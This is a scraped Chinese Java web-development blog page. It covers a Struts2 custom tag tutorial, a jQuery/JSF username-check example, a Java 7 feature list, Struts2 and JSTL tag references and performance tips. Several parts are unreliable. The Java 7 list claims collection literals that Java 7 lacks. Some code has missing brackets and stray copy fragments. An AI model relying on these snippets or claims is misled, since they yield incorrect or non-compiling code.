2010年7月30日
摘要: JSF學(xué)習(xí)筆記 JSF事件驅(qū)動(dòng)型的MVC框架,與流行的struts比較學(xué)習(xí)，易于理解。jsf component event事件是指從瀏覽器由用戶(hù)操作觸發(fā)的事件，Struts application event 是用Action來(lái)接受瀏覽器表單提交的事件，一個(gè)表單只能對(duì)應(yīng)一個(gè)事件，application event和component event相比是一種粗粒度的事件。優(yōu)點(diǎn)：事件...
閱讀全文
Struts2 的UITag原理：
Struts2 UITag分三部份組成，一部份用于定義Tag的內(nèi)容與邏輯的UIBean，一部份用于定義JSP Tag，也就是平時(shí)我們定義的那種，最后就是Template，它存放在你的theme目錄之下，是一個(gè)FreeMarker模板文件。
我現(xiàn)在輯寫(xiě)一份MMTag，它主要是用于輸出帶鏈接的文字，比如像這樣：
<cur:mm message="'I am a boy.'" />
就會(huì)輸出：
<a href="http://www.tkk7.com/natlive">I am boy.</a>
我們先寫(xiě)UIBean部份：我們把它定義為MM，它繼承于 org.apache.struts2.components.UIBean：
package limitstudy.corestruts2.tag;
import org.apache.struts2.components.UIBean;
import org.apache.struts2.views.annotations.StrutsTag;
import org.apache.struts2.views.annotations.StrutsTagAttribute;
import com.opensymphony.xwork2.util.ValueStack;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
@StrutsTag(name="mm", tldTagClass="limitstudy.corestruts2.tag.MMTag", description="MM")
public class MM extends UIBean {
private String message;
public MM(ValueStack stack, HttpServletRequest request, HttpServletResponse response) {
super(stack, request, response);
}
@Override
protected String getDefaultTemplate() {
return "mm";
}
@StrutsTagAttribute(description="set message", type="String")
public void setMessage(String message) {
this.message = message;
}
@Override
protected void evaluateExtraParams() {
super.evaluateExtraParams();
if (null != message) {
addParameter("message", findString(message));
}
}
}
* strutsTag注解指明了該UIBean的名字 和Tag類(lèi)的類(lèi)名。
* getDefaultTemplate()方法用于返回模板的名 字，Struts2會(huì)自動(dòng)在后面加入.ftl擴(kuò)展名以找到特定的模板文件。
* setXXX，設(shè)置UIBean的屬性，一般Tag中有幾個(gè)這樣的屬性，這里就有幾個(gè)。@StrutsTagAttribute(description="set message", type="String") 注解，說(shuō)明該屬性是字符串（也可以是其它），這一步很重要。
* 覆寫(xiě)evaluateExtraParams（） 方法，在UIBean初始化后會(huì)調(diào)用這個(gè)方法來(lái)初始化設(shè)定參數(shù)，如addParameter方法，會(huì)在freemarker里的parameters里加 入一個(gè)key value。這里要注意findString，還有相關(guān)的findxxxx方法，它們是已經(jīng)封裝好了的解釋ognl語(yǔ)法的工具，具體是怎么樣的，大家可以 查看一下UIBean的api doc。
然后是Tag部份：
package limitstudy.corestruts2.tag;
import org.apache.struts2.views.jsp.ui.AbstractUITag;
import org.apache.struts2.components.Component;
import com.opensymphony.xwork2.util.ValueStack;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
public class MMTag extends AbstractUITag {
private String message;
@Override
public Component getBean(ValueStack stack, HttpServletRequest request, HttpServletResponse response) {
return new MM(stack, request, response);
}
@Override
protected void populateParams() {
super.populateParams();
MM mm = (MM)component;
mm.setMessage(message);
}
public void setMessage(String message) {
this.message = message;
}
}
* getBean（）返回該Tag中的UIBean。
* populateParams()初始化參數(shù)，一般用來(lái)初始化UIBean(Component)。
* setXXXX設(shè)置屬性，和jsp tag是一樣的。
在/WEB-INF/tlds/下建立current.tld文件（文名隨你喜歡）：
<?xml version="1.0" encoding="UTF-8"?>
<taglib xmlns="http://java.sun.com/xml/ns/j2ee" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" version="2.0"
xsi:schemaLocation="http://java.sun.com/xml/ns/j2ee http://java.sun.com/xml/ns/j2ee/web-jsptaglibrary_2_0.xsd">
<description>test</description>
<tlib-version>2.0</tlib-version>
<short-name>cur</short-name>
<uri>/cur</uri>
<tag>
<name>mm</name>
<tag-class>limitstudy.corestruts2.tag.MMTag</tag-class>
<body-content>JSP</body-content>
<attribute>
<name>message</name>
<required>true</required>
</attribute>
</tag>
</taglib>
在源代碼目錄中建立template/simple目錄（這個(gè)目錄名和你的theme有關(guān)），然后在里面建一個(gè) mm.ftl文件：
<a href="http://www.yinsha.com">${parameters.message?html}</a>
建一個(gè)action測(cè)試一下，視圖文件：
<%@ page contentType="text/html;charset=UTF-8" language="java" %>
<%@ taglib prefix="s" uri="/struts-tags" %>
<%@ taglib prefix="cur" uri="/cur" %>
<html>
<head>
<title><s:property value="message" /></title>
</head>
<body>
<cur:mm message="haoahahhahaha" />
</body>
</html>
完。
PS： 寫(xiě)得有些粗鄙，所以，如有問(wèn)題的，可以留言。
http://devilkirin.javaeye.com/blog/427395
http://xiaojianhx.javaeye.com/blog/482888
Page
The following is register.jsp, which takes required information from user regarding registration. For this example, we focus only on validation of username and not the actual registration process.
The most important thing is to know how to access JSF component from JQuery. The id given to inputText is consisting of formid:componentid. So in this example the id given to textbox is registerform:username. But the presence of : (colon) causes problem to JQuery. So, we need to escape : (colon) using two \\ characters before colon - registerform\\:username.
//register.jsp
<%@page contentType="text/html" %>de">
<%@page contentType="text/html" %>
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN"
"http://www.w3.org/TR/html4/loose.dtd">
<html>
<head>
<script language="javascript" src="jquery-1.4.2.js"></script>
<script language="javascript">
function checkUsername(){
$.get( "checkusername.jsp",{username : $("#registerform\\:username").val()},updateUsername);
}
function updateUsername(response)
{
if (response) {
$("#usernameresult").text(response); // update SPAN item with result
}
</script>
<title>Registration</title>
</head>
<body>
<%@taglib prefix="f" uri="http://java.sun.com/jsf/core"%>
<%@taglib prefix="h" uri="http://java.sun.com/jsf/html"%>
<f:view>
<h2>Registration </h2>
<h:form id="registerform">
<table>
<tr>
<td>Username : </td>
<td><h:inputText id="username" value="#{userBean.username}" required="true" onblur="checkUsername()" />
<h:message for="username" />
<span id="usernameresult" />
</tr>
<tr>
<td>Password : </td>
<td><h:inputSecret id="password" value="#{userBean.password}" required="true" /> <h:message for="password" /> </td>
</tr>
<tr>
<td>Re-enter Password : </td>
<td><h:inputSecret id="confirmPwd" value="#{userBean.confirmPwd}" required="true" /> <h:message for="confirmPwd" /> </td>
</tr>
<tr>
<td>Email Address : </td>
<td><h:inputText id="email" value="#{userBean.email}" required="true" onblur="checkEmail()" /> <h:message for="email" /> </td>
<span id="emailresult" />
</tr>
</table>
<p/>
<h:commandButton actionListener="#{userBean.register}" value="Register" />
<p/>
<h3><h:outputText value="#{userBean.message}" escape="false" /> </h3>
<p/>
</h:form>
</f:view>
</body>
</html>lt;/f:view>
</body>
</html>
Bean
The above JSF Form uses
userBean, which is the name given to
beans.UserBean class. The class and its entries in
faces-config.xml file are given below.
UserBean is the managed bean that stores data coming from JSF form. It contains an action listener - register(), which is supposed to process the data to complete registration process. We don't deal with it as our focus is only on validating username.
//UserBean.java
package beans;
public class UserBean {
private String username, password, email,confirmPwd, message;
public UserBean() {
}
public String getPassword() {
return password;
}
public void setPassword(String password) {
this.password = password;
}
public String getUsername() {
return username;
}
public void setUsername(String username) {
this.username = username;
}
public String getConfirmPwd() {
return confirmPwd;
}
public void setConfirmPwd(String confirmPwd) {
this.confirmPwd = confirmPwd;
}
public String getEmail() {
return email;
}
public void setEmail(String email) {
this.email = email;
}
public String getMessage() {
return message;
}
public void setMessage(String message) {
this.message = message;
}
public void register(ActionEvent evt) {
if (! password.equals(confirmPwd))
{
message = "Password do not match!";
return;
}
// do registration
} // register
}
xml
The following entry is required in faces-config.xml for UserBean managed bean.
<!-- faces-config.xml -->
<managed-bean>
<managed-bean-name>userBean</managed-bean-name>
<managed-bean-class>beans.UserBean</managed-bean-class>
<managed-bean-scope>request</managed-bean-scope>
</managed-bean>
Check
Now create a checkusername.jsp to check whether given username is valid. It sends a message if username is already exists otherwise it sends empty string (nothing).
<%@ page import="java.sql.*" contentType="text/plain"%>
<%
String username = request.getParameter("username"); // sent from client
// connect to oracle using thin driver
Class.forName("oracle.jdbc.driver.OracleDriver");
Connection con = DriverManager.getConnection("jdbc:oracle:thin:@localhost:1521:xe","youruser","yourpassword");
PreparedStatement ps = con.prepareStatement("select username from users where username = ?");
ps.setString(1,username);
ResultSet rs = ps.executeQuery();
if ( rs.next()) { // found username
out.println("Username is already present!"); // send this to client
}
rs.close();
ps.close();
con.close();
%>
Deploy and Test
Now deploy the web application and run register.jsp. If you enter a username that is already present in USERS table then we get message - Username is already present - in SPAN item on the right of username field. If username is unique then SPAN item is set to empty string ( as JSP returns nothing). from:http://www.srikanthtechnologies.com/blog/java/jquerywithjsf.aspx
Java 7已經(jīng)完成的7大新功能：
1 對(duì)集合類(lèi)的語(yǔ)言支持；
2 自動(dòng)資源管理；
3 改進(jìn)的通用實(shí)例創(chuàng)建類(lèi)型推斷；
4 數(shù)字字面量下劃線支持；
5 switch中使用string；
6 二進(jìn)制字面量；
7 簡(jiǎn)化可變參數(shù)方法調(diào)用。
下面我們來(lái)仔細(xì)看一下這7大新功能：
1 對(duì)集合類(lèi)的語(yǔ)言支持
Java將包含對(duì)創(chuàng)建集合類(lèi)的第一類(lèi)語(yǔ)言支持。這意味著集合類(lèi)的創(chuàng)建可以像Ruby和Perl那樣了。
原本需要這樣：
List<String> list = new ArrayList<String>();
list.add("item");
String item = list.get(0);
Set<String> set = new HashSet<String>();
set.add("item");
Map<String, Integer> map = new HashMap<String, Integer>();
map.put("key", 1);
int value = map.get("key");
現(xiàn)在你可以這樣：
List<String> list = ["item"];
String item = list[0];
Set<String> set = {"item"};
Map<String, Integer> map = {"key" : 1};
int value = map["key"];
這些集合是不可變的。
2 自動(dòng)資源管理
Java中某些資源是需要手動(dòng)關(guān)閉的，如InputStream，Writes，Sockets，Sql classes等。這個(gè)新的語(yǔ)言特性允許try語(yǔ)句本身申請(qǐng)更多的資源，
這些資源作用于try代碼塊，并自動(dòng)關(guān)閉。
這個(gè)：
BufferedReader br = new BufferedReader(new FileReader(path));
try {
return br.readLine();
} finally {
br.close();
}
變成了這個(gè)：
try (BufferedReader br = new BufferedReader(new FileReader(path)) {
return br.readLine();
}
你可以定義關(guān)閉多個(gè)資源：
try (
InputStream in = new FileInputStream(src);
OutputStream out = new FileOutputStream(dest))
{
// code
}
為了支持這個(gè)行為，所有可關(guān)閉的類(lèi)將被修改為可以實(shí)現(xiàn)一個(gè)Closable（可關(guān)閉的）接口。
3 增強(qiáng)的對(duì)通用實(shí)例創(chuàng)建（diamond）的類(lèi)型推斷
類(lèi)型推斷是一個(gè)特殊的煩惱，下面的代碼：
Map<String, List<String>> anagrams = new HashMap<String, List<String>>();
通過(guò)類(lèi)型推斷后變成：
Map<String, List<String>> anagrams = new HashMap<>();
這個(gè)<>被叫做diamond（鉆石）運(yùn)算符，這個(gè)運(yùn)算符從引用的聲明中推斷類(lèi)型。
4 數(shù)字字面量下劃線支持
很長(zhǎng)的數(shù)字可讀性不好，在Java 7中可以使用下劃線分隔長(zhǎng)int以及l(fā)ong了，如：
int one_million = 1_000_000;
運(yùn)算時(shí)先去除下劃線，如：1_1 * 10 = 110，120 – 1_0 = 110
5 switch中使用string
以前你在switch中只能使用number或enum。現(xiàn)在你可以使用string了：
String s = ...
switch(s) {
case "quux":
processQuux(s);
// fall-through
case "foo":
case "bar":
processFooOrBar(s);
break;
case "baz":
processBaz(s);
// fall-through
default:
processDefault(s);
break;
}
6 二進(jìn)制字面量
由于繼承C語(yǔ)言，Java代碼在傳統(tǒng)上迫使程序員只能使用十進(jìn)制，八進(jìn)制或十六進(jìn)制來(lái)表示數(shù)(numbers)。
由于很少的域是以bit導(dǎo)向的，這種限制可能導(dǎo)致錯(cuò)誤。你現(xiàn)在可以使用0b前綴創(chuàng)建二進(jìn)制字面量：
int binary = 0b1001_1001;
現(xiàn)在，你可以使用二進(jìn)制字面量這種表示方式，并且使用非常簡(jiǎn)短的代碼，可將二進(jìn)制字符轉(zhuǎn)換為數(shù)據(jù)類(lèi)型，如在byte或short。
byte aByte = (byte)0b001;
short aShort = (short)0b010;
7 簡(jiǎn)化的可變參數(shù)調(diào)用
當(dāng)程序員試圖使用一個(gè)不可具體化的可變參數(shù)并調(diào)用一個(gè)*varargs* （可變）方法時(shí)，編輯器會(huì)生成一個(gè)“非安全操作”的警告。
JDK 7將警告從call轉(zhuǎn)移到了方法聲明(methord declaration)的過(guò)程中。這樣API設(shè)計(jì)者就可以使用vararg，因?yàn)榫娴臄?shù)量大大減少了。
posted @
2011-03-18 15:21 junly 閱讀(16849) |
評(píng)論 (9) |
編輯 收藏
A：
<s:a href=""></s:a>-----超鏈接，類(lèi)似于html里的<a></a>
<s:action name=""></s:action>-----執(zhí)行一個(gè)view里面的一個(gè)action
<s:actionerror/>-----如果action的errors有值那么顯示出來(lái)
<s:actionmessage/>-----如果action的message有值那么顯示出來(lái)
<s:append var="newMerList">-----添加一個(gè)值到list，類(lèi)似于list.add();
<s:param value="merList1"></s:param>
<s:param value="merList2"></s:param>
</s:append>
<s:autocompleter></s:autocompleter>-----自動(dòng)完成<s:combobox>標(biāo)簽的內(nèi)容，這個(gè)是ajax
B：
<s:bean name=""></s:bean>-----類(lèi)似于struts1.x中的，JavaBean的值
C：
<s:checkbox></s:checkbox>-----復(fù)選框
<s:checkboxlist list=""></s:checkboxlist>-----多選框
<s:combobox list=""></s:combobox>-----下拉框
<s:component></s:component>-----圖像符號(hào)
D：
<s:date name="time" format="yyyy/MM/dd"/>-----獲取日期格式
<s:datetimepicker></s:datetimepicker>-----日期輸入框
<s:debug></s:debug>-----顯示錯(cuò)誤信息
<s:div></s:div>-----表示一個(gè)塊，類(lèi)似于html的<div></div>
<s:doubleselect list="#appVar3" listKey="id" listValue="name" name="" doubleName="chinagra.chinagraCategory.id" -----雙下拉框
doubleId="mid" doubleList="#appVar4.get(top.id)" doubleListKey="id" doubleListValue="title" theme="simple"/>
List<Category> categories = chinagraService.searchProblemCategories();;
Map<Long, List<ChinagraCategory>> chinagraCategories = new HashMap<Long, List<ChinagraCategory>>();
for(Category category : categories) {
chinagraCategories.put(category.getId(), chinagraCategoryService.queryByType(category.getId().toString()));
}
E：
<s:if test=""></s:if>
<s:elseif test=""></s:elseif>
<s:else></s:else>-----這3個(gè)標(biāo)簽一起使用，表示條件判斷
F：
<s:fielderror></s:fielderror>-----顯示文件錯(cuò)誤信息
<s:file></s:file>-----文件上傳
<s:form action=""></s:form>-----獲取相應(yīng)form的值
G：
<s:generator separator="'aaa,bbb,ccc,ddd'" val=",">
<s:iterator>
<s:property/>
</s:iterator>
</s:generator>----和<s:iterator>標(biāo)簽一起使用
H：
<s:head/>-----在<head></head>里使用，表示頭文件結(jié)束
<s:hidden name="user.name" value="junly"/></s:hidden>-----隱藏值
I：
<s:i18n name=""></s:i18n>-----加載資源包到值堆棧
<s:include value=""></s:include>-----包含一個(gè)輸出，servlet或jsp頁(yè)面
<s:inputtransferselect list=""></s:inputtransferselect>-----獲取form的一個(gè)輸入
<s:iterator value="userlist" var="user" status="s">
<s:if test="#s.index == 0">
<s:property value="name"/>
</s:if>
<s:property value="#s.even"/>
<s:property value="#s.odd"/>
<s:property value="#s.first"/>
<s:property value="#s.last"/>
<s:property value="#s.count"/>
</s:iterator>-----用于遍歷集合
<s:if test="#list.size > 0 "></s:if>-----判斷 ActionContext.getContext().put("list", lists);
<s:elseif test="list.size > 0 "></s:elseif>
<s:else></s:else>
<s:if test="searchCondition.filter!=null">
L：
<s:label></s:label>-----只讀的標(biāo)簽
M：
<s:merge></s:merge>-----合并遍歷集合出來(lái)的值
O：
<s:optgroup></s:optgroup>-----獲取標(biāo)簽組
<s:optiontransferselect doubleList="" list="" doubleName=""></s:optiontransferselect>-----左右選擇框
P：
<s:param name="pageSize" value="pageSize"/></s:param>-----為其他標(biāo)簽提供參數(shù)
<s:password></s:password>-----密碼輸入框
<s:property value="user.name" />-----得到'value'的屬性
<s:push value=""></s:push>-----value的值push到棧中,從而使property標(biāo)簽的能夠獲取value的屬性
R：
<s:radio name="type" list="#{0:'拍賣(mài)會(huì)',1:'展會(huì)'}" value="0"></s:radio>-----單選按鈕
<s:reset></s:reset>-----重置按鈕
S：
<s:select list=""></s:select>-----單選框
<s:set name=""></s:set>-----賦予變量一個(gè)特定范圍內(nèi)的值
<s:sort comparator=""></s:sort>-----通過(guò)屬性給list分類(lèi)
<s:submit></s:submit>-----提交按鈕
<s:subset source="#subList" start="1" count="2">-----為遍歷集合輸出子集
<s:iterator>
<s:property/>
</s:iterator>
</s:subset>
T：
<s:tabbedPanel id=""></s:tabbedPanel>-----表格框
<s:table></s:table>-----表格
<s:text name="error"/></s:text>-----I18n文本信息
<s:textarea></s:textarea>-----文本域輸入框
<s:textfield></s:textfield>-----文本輸入框
<s:token></s:token>-----攔截器
<s:tree></s:tree>-----樹(shù)
<s:treenode label=""></s:treenode>-----樹(shù)的結(jié)構(gòu)
U：
<s:updownselect list=""></s:updownselect>-----多選擇框
<s:url value="/academy/get-detail.action?academyInfo.id=${id}"></s:url>-----創(chuàng)建url
<s:url action="search-big.action" escapeAmp="false" namespace="/problem">
<s:param name="name" value="%{'all'}"/>
<s:param name="id" value="0"/>
<s:param name="sex" value="user.sex"/>
</s:url>
JSTL語(yǔ)法及參數(shù)
JSTL包含以下的標(biāo)簽:
常用的標(biāo)簽：如<c:out>、<c:remove>、<c:catch>、<c:set>等
條件標(biāo)簽：如<c:if><c:when>、<c:choose>、<c:otherwise>等
URL標(biāo)簽：如<c:import>、<c:redirect>和<c:url>等
XML標(biāo)簽：如<xml:out>等
國(guó)際化輸出標(biāo)簽：如<fmt:timeZone>等
SQL標(biāo)簽：如<sql:query>、<sql:update>、<sql:transaction>等
一般用途的標(biāo)簽:
1．<c:out>
沒(méi)有Body時(shí)的語(yǔ)法
<c:out value=”value” [escapeXml=”{true|false}”] [default=”defaultValue”]/>
有Body時(shí)的語(yǔ)法
<c:out value=”value” [escapeXml=”{true|false}”]>
這里是Body部分
</c:out>
名字 類(lèi)型 描述
value Object 將要輸出的表達(dá)式
escapeXml boolean 確定以下字符:<,>,&,’,”在字符串中是否被除數(shù)，默認(rèn)為true
default Object 如果vaule計(jì)算后的結(jié)果是null，那么輸出這個(gè)默認(rèn)值
2．<c:set>
這個(gè)標(biāo)簽用于在某個(gè)范圍(page、request、session、application等)中使用某個(gè)名字設(shè)定特定的值，或者設(shè)定某個(gè)已經(jīng)存在的javabean對(duì)象的屬性。他類(lèi)似于<%request.setAttrbute(“name”,”value”);%>
語(yǔ)法1：使用value屬性設(shè)定一個(gè)特定范圍中的屬性。
<c:set value=”value” var=”varName” [scope=”{page|request|session|application}”]/>
語(yǔ)法2：使用value屬性設(shè)定一個(gè)特定范圍中的屬性，并帶有一個(gè)Body。
<c:set var=”varName” [scope=”{page|request|session|application}”]>
Body部分
</c:set>
語(yǔ)法3：設(shè)置某個(gè)特定對(duì)象的一個(gè)屬性。
<c:set value=”value” target=”target” property=”propertyName”/>
語(yǔ)法4：設(shè)置某個(gè)特定對(duì)象的一個(gè)屬性，并帶有一個(gè)Body。
<c:set target=”target” property=”propertyName”>
Body部分
</c:set>
名字 類(lèi)型 描述
value Object 將要計(jì)算的表到式。
var String 用于表示value 值的屬性，如果要在其他標(biāo)簽中使用，就是通過(guò)這 個(gè)var指定的值來(lái)進(jìn)行的。它相當(dāng)于在標(biāo)簽定義了一個(gè)變量，并且這個(gè)變量只能在標(biāo)簽中的一個(gè)。
scope String var的有效范圍，可以是page|request|session|application中的一個(gè)
target String 將要設(shè)置屬性的對(duì)象，它必須是javabean或則java.util.Map對(duì)象
property Object 待設(shè)定的Target對(duì)象中的屬性名字，比如在javabean中有個(gè)name屬性，提供了setUserId方法，那么這里填userId。
3．<c:remove>
<c:remove var=”varName” [scope=”{page|request|session|application}”]/>
4．<c:catch>
這個(gè)標(biāo)簽相當(dāng)于捕獲在它里邊的標(biāo)簽拋出的異常對(duì)象
<c:catch [var=”varName”]> //var是異常的名字
內(nèi)容
</c:catch>
條件標(biāo)簽
1． <c:if>
語(yǔ)法1：無(wú)Body情況
<c:if test=”testCondition” var=”varName” [scope=”page|request|session|application”]/>
語(yǔ)法2：有Body的情況
<c:if test=”testCondition” var=”varName” [scope=”page|request|session|application”]>
Body內(nèi)容
</c:if>
名字 類(lèi)型 描述
test Boolean 表達(dá)式的條件，相當(dāng)于if()中的條件判斷語(yǔ)句。
var String 表示這個(gè)語(yǔ)句的名字。
scope String var這個(gè)變量的作用范圍。
2．<c:choose>
語(yǔ)法：<c:choose>
Body內(nèi)容(<c:when>和<c:otherwise>子標(biāo)簽)
</c:choose>
注意：它的Body只能由以下元素組成:
1) 空格
2) 0或多個(gè)<c:when>子標(biāo)簽，<c:when>必須在<c:otherwise>標(biāo)簽之前出現(xiàn).
3) 0個(gè)或多個(gè)<c:otherwise>子標(biāo)簽。
<c:choose>
<c:when test="${param.age>70}">
歡迎老年人
</c:when>
<c:when test="${param.age<70 and param.age>35}">
歡迎中年人
</c:when>
<c:otherwise>
您的年齡有誤!
</c:otherwise>
</c:choose>
3．<c:when>
代表的是<c:choose>的一個(gè)條件分支,只能在<c:choose>中使用
語(yǔ)法：<c:when test=”testCondition”> //test是boolean類(lèi)型,用于判斷條件真假
Body語(yǔ)句
</c:when>
4．<c:otherwise>
代表的是<c:choose>中的最后選擇。必須在最后出現(xiàn)
<c:otherwise>
內(nèi)容
</c:otherwise>
迭代標(biāo)簽
1．<c:forEach>
語(yǔ)法1：在Collection中迭代
<c:forEach[var=”varName”] items=”collection” [varStatus=”varStatusName”]
[begin=”begin”] [end=”end”] [step=”step”]
Body內(nèi)容
</c:foeEach>
語(yǔ)法2：迭代固定的次數(shù).
<c:forEach [var=”varName”] [varStatus=”varStatusName”]
[begin=”begin”] [end=”end”] [step=”step”]
Body內(nèi)容
</c:foeEach>
名字 類(lèi)型 描述
var String 迭代的參數(shù)，它是標(biāo)簽參數(shù)，在其他標(biāo)簽中通過(guò)它來(lái)引用這個(gè)標(biāo)簽中的內(nèi)容。
Items Collection、ArrayList、 要迭代的items集合.
Iterator、Map、String、
Eunmeration等
VarStatus String 表示迭代的狀態(tài)，可以訪問(wèn)迭代自身的信息
Begin int 表示開(kāi)始迭代的位置。
End int 表示結(jié)束迭代的位置。
Step int 表示迭代移動(dòng)的步長(zhǎng)，默認(rèn)為1。
URL相關(guān)的標(biāo)簽
1．<c:import>
語(yǔ)法1：資源的內(nèi)容使用String對(duì)象向外暴露
<c:import url=”url” [context=”context”]
[var=”varName”] [scope=”{page|request|session|application}”] [charEncoding=”charEncoding”]>
內(nèi)容
</c:import>
語(yǔ)法2：資源的內(nèi)容使用Reader對(duì)象向外暴露。
<c:import url=”url” [context=”context”]
varReader=”varReaderName” [charEncoding=”charEncoding”]>
內(nèi)容
</c:import>
名字 類(lèi)型 描述
url String 待導(dǎo)入資源的URL，可以是相對(duì)路徑和絕對(duì)路徑，并且可以導(dǎo)入其他主機(jī)資源
context String 當(dāng)使用相對(duì)路徑訪問(wèn)外部context資源時(shí)，context指定了這個(gè)資源的名字。
var String 參數(shù)的名字。
scope String var參數(shù)的作用范圍。
cahrEncoding String 輸入資源的字符編碼。
varReader String 這個(gè)參數(shù)的類(lèi)型是Reader,用于讀取資源。
2．<c:redirct>
語(yǔ)法1:沒(méi)有Body的情況.
<c:redirect url=”value” [context=”context”]/>
語(yǔ)法2：有Body情況下，在Body中指定查詢(xún)的參數(shù)
<c:redirect url=”value” [context=”context”]>
<c:param name=”name” value=”value”/>
</c:redirect>
3．<c:url>
語(yǔ)法1：沒(méi)有Body
<c:url value=”value” [context=”context”] [var=”varName”] [scope=”{page|request|session+application}”]/>
語(yǔ)法2：有Body
<c:url value=”value” [context=”context”] [var=”varName”] [scope=”{page|request|session+application}”]>
<c:param name=”name” value=”value”/>
</c:url>
名字 類(lèi)型 描述
value String URL值
context String 當(dāng)使用相對(duì)路徑訪問(wèn)外部context資源時(shí)，context指定了這個(gè)資源的名字
var String 標(biāo)識(shí)這個(gè)URL標(biāo)量。
Scope String 變量作用范圍。
SQL相關(guān)的標(biāo)簽
1．<sql:setDataSource>
2．<sql:query>
3．<sql:update>
4．<transaction>
5．<param>
1 對(duì)Collection、Map接口的類(lèi)對(duì)象初始化時(shí)要先分配合理的空間大小，同時(shí)還要按照自已的實(shí)際需求選擇合適的對(duì)象。
例如：聲明Vector vect＝new Vector()時(shí)，系統(tǒng)調(diào)用：
public Vector() {
// 缺省構(gòu)造函數(shù)
this(10);
// 容量是
10;}
缺省分配10個(gè)對(duì)象大小容量。
2 優(yōu)化循環(huán)體
循環(huán)是比較重復(fù)運(yùn)行的地方，如果循環(huán)次數(shù)很大，循環(huán)體內(nèi)不好的代碼對(duì)效率的影響就會(huì)被放大而變的突出。
3 少用new初始化一個(gè)實(shí)例
盡量少用new來(lái)初始化一個(gè)類(lèi)的實(shí)例，當(dāng)一個(gè)對(duì)象是用new進(jìn)行初始化時(shí)，其構(gòu)造函數(shù)鏈的所有構(gòu)造函數(shù)都被調(diào)用到，所以new操作符是很消耗系統(tǒng)資源的，new一個(gè)對(duì)象耗時(shí)往往是局部變量賦值耗時(shí)的上千倍。同時(shí)，當(dāng)生成對(duì)象后，系統(tǒng)還要花時(shí)間進(jìn)行垃圾回收和處理。當(dāng)new創(chuàng)建對(duì)象不可避免時(shí)，注意避免多次的使用new初始化一個(gè)對(duì)象。盡量在使用時(shí)再創(chuàng)建該對(duì)象，另外，應(yīng)該盡量重復(fù)使用一個(gè)對(duì)象，而不是聲明新的同類(lèi)對(duì)象。一個(gè)重用對(duì)象的方法是改變對(duì)象的值，如可以通過(guò)setValue之類(lèi)的方法改變對(duì)象的變量達(dá)到重用的目的。
4 選擇合適的方法調(diào)用：
在Java中，一切都是對(duì)象，如果有方法（Method）調(diào)用，處理器先要檢查該方法是屬于哪個(gè)對(duì)象，該對(duì)象是否有效，對(duì)象屬于什么類(lèi)型，然后選擇合適的方法并調(diào)用。可以減少方法的調(diào)用，不影響可讀性等情況下，可以把幾個(gè)小的方法合成一個(gè)大的方法。另外，在方法前加上final，private關(guān)鍵字有利于編譯器的優(yōu)化。
5異常處理技巧
異常是Java的一種錯(cuò)誤處理機(jī)制，對(duì)程序來(lái)說(shuō)是非常有用的，但是異常對(duì)性能不利。拋出異常首先要?jiǎng)?chuàng)建一個(gè)新的對(duì)象，并進(jìn)行相關(guān)的處理，造成系統(tǒng)的開(kāi)銷(xiāo)，所以異常應(yīng)該用在錯(cuò)誤處理的情況，不應(yīng)該用來(lái)控制程序流程，流程盡量用while，if等處理。在不是很影響代碼健壯性的前提下，可以把幾個(gè)try/catch塊合成一個(gè)。
6 盡量使用局部變量
盡量使用局部變量，調(diào)用方法時(shí)傳遞的參數(shù)以及在調(diào)用中創(chuàng)建的臨時(shí)變量都保存在棧（Stack） 中，速度較快。其他變量，如靜態(tài)變量、實(shí)例變量等，都在堆（Heap）中創(chuàng)建，速度較慢。
7同步處理技巧
同步主要出現(xiàn)在多線程的情況，為多線程同時(shí)運(yùn)行時(shí)提供對(duì)象數(shù)據(jù)安全的機(jī)制，多線程是比較復(fù)雜話題，應(yīng)用多線程也是為了獲得性能的提升，應(yīng)該盡可能減少同步。
另外，如果需要同步的地方，可以減少同步的代碼段，如只同步某個(gè)方法或函數(shù)，而不是整個(gè)代碼。
8 盡可能的使用Java自身提供的API
Java的API一般都做了性能的考慮，如果完成相同的功能，優(yōu)先使用API而不是自己寫(xiě)的代碼，如數(shù)組復(fù)制。
9 盡量減少I/O操作
輸入/輸出（I/O）包括很多方面，我們知道，進(jìn)行I/O操作是很消耗系統(tǒng)資源的。程序中應(yīng)該盡量少用I/O操作。使用時(shí)可以注意： . 合理控制輸出函數(shù)System.out.println()對(duì)于大多時(shí)候是有用的，特別是系統(tǒng)調(diào)試的時(shí)候，但也會(huì)產(chǎn)生大量的信息出現(xiàn)在控制臺(tái)和日志上，同時(shí)輸出時(shí)，有序列化和同步的過(guò)程，造成了開(kāi)銷(xiāo)。
特別是在發(fā)行版中，要合理的控制輸出，可以在項(xiàng)目開(kāi)發(fā)時(shí)，設(shè)計(jì)好一個(gè)Debug的工具類(lèi)，在該類(lèi)中可以實(shí)現(xiàn)輸出開(kāi)關(guān)，輸出的級(jí)別，根據(jù)不同的情況進(jìn)行不同的輸出的控制。
10 盡量使用緩存
讀寫(xiě)內(nèi)存要比讀寫(xiě)硬盤(pán)上的文件要快很多，應(yīng)盡可能使用緩沖，以便直接從內(nèi)存中讀取數(shù)據(jù)。盡可能使用帶有Buffer的類(lèi)代替沒(méi)有Buffer的類(lèi)，如可以用BufferedReader 代替Reader，用BufferedWriter代替Writer來(lái)進(jìn)行處理I/O操作。
同樣可以用BufferedInputStream代替InputStream都可以獲得性能的提高
11 盡量不使用同步：
Servlet是多線程的，以處理不同的請(qǐng)求，基于前面同步的分析，如果有太多的同步就失去了多線程的優(yōu)勢(shì)了。
12 不用保存太多的信息在HttpSession中
很多時(shí)候，存儲(chǔ)一些對(duì)象在HttpSession中是有必要的，可以加快系統(tǒng)的開(kāi)發(fā)，如網(wǎng)上商店系統(tǒng)會(huì)把購(gòu)物車(chē)信息保存在該用戶(hù)的Session中，但當(dāng)存儲(chǔ)大量的信息或是大的對(duì)象在會(huì)話中時(shí)，是有害的，特別是當(dāng)系統(tǒng)中用戶(hù)的訪問(wèn)量很大，對(duì)內(nèi)存的需求就會(huì)很高。具體開(kāi)發(fā)時(shí)，在這兩者之間應(yīng)作好權(quán)衡。
13清除SESSION：
